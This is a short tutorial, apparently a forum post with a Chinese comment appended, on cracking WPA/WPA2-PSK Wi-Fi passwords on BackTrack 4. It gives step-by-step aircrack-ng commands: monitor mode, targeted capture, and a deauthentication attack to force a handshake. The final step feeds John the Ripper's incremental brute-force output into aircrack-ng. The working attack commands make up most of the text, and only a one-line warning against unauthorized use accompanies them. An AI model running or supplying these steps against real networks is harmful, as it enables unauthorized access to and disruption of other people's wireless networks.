HOWTO : Crack WPA/WPA2-PSK with John the Ripper

At the moment, we need to use dictionaries to brute force the WPA/WPA-PSK. To crack WPA/WPA2-PSK requires the to be cracked key is in your dictionaries.

I have a better solution to crack WPA/WPA2-PSK (in theory, it must success) but it requires hours to years to crack depending on the strength of the key and the speed of the hardwares. The following tutorial is based on Back|Track 4.

Suppose the wifi channel is 5, the BSSID MAC is 00:24:B2:A0:51:14 and the client MAC is 00:14:17:94:90:0D. Make sure the client is connecting to the wifi router when you are performing Step 1 to 4.

Step 1 :

1. airmon-ng start wlan0

复制代码

Step 2 :

1. airodump-ng mon0

复制代码

Step 3 :

1. airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0

复制代码

Step 4 :

1. aireplay-ng --deauth 10 -a 00:24:B2:A0:51:14 -c 00:14:17:94:90:0D mon0
   
2. 
   
3. To get the handshake when done and then go to next step. If not, do it again until you get the handshake.

复制代码

Step 5 :

1. /pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b 00:24:B2:A0:51:14 -w - output*.cap

复制代码

You are required to wait for hours or years for the cracking which is depends on how powerful your hardwares are and strength of the key. CUDA will make the work more easier but it may also need years or so just depends.

WARNING : Do NOT crack any wifi router without authorization or you will be put into jail.

That's all. See you!

无线路由器破解，用的是穷举法，亮点是用了CUDA，所以可能会快一点。

但是，计算复杂性没有任何改进，所以只要设置密码的人稍微把密码空间扩大几个维度就照样难以破解了。

破解一个10位的纯ASCII密码不知道需要多久？
